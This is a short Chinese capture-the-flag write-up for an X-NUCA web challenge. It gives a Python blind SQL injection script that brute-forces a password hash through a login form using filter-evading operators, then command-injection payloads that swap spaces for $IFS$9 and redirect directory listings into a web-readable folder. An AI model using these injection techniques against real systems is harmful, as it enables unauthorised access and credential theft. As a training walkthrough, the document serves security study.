X-NUCA联赛--阳光总在风雨后的解题思路
经过测试,过滤了注入中常见的字符,但还可以用一些操作符:+,-,=,!=,>,>,~,~我们用。可以用以下脚本跑出账号密码
import requests url = "http://218.76.35.74:20130/login.php" pwdstr= "0123456789abcdef" pwd="" for j in range(1,33): for i in pwdstr: passwd = i + pwd username = "'!=(mid((passwd)from(-%s))='%s')='1" % (j, passwd) data = {"uname":username,"passwd":"abcd"} res = requests.post(url,data) if "password error!!" in res.text: pwd = passwd print pwd break
跑出密码hash,然后解hash,得到密码shuangshuang,登陆上去后可以直接执行命令。但空格被过滤,可以用$IFS$9来代替空格。
但是只显示了一条记录。此时可以重定向到一个文件,首先目录扫描下,发现存在images目录,尝试把内容重定向到images文件下,如:ls$IFS$9-lah$IFS$9../>../images/test,然后访问之
然后再列9ef89ad913e848b64b73e3aa721e44e4这个目录
直接访问这个文件。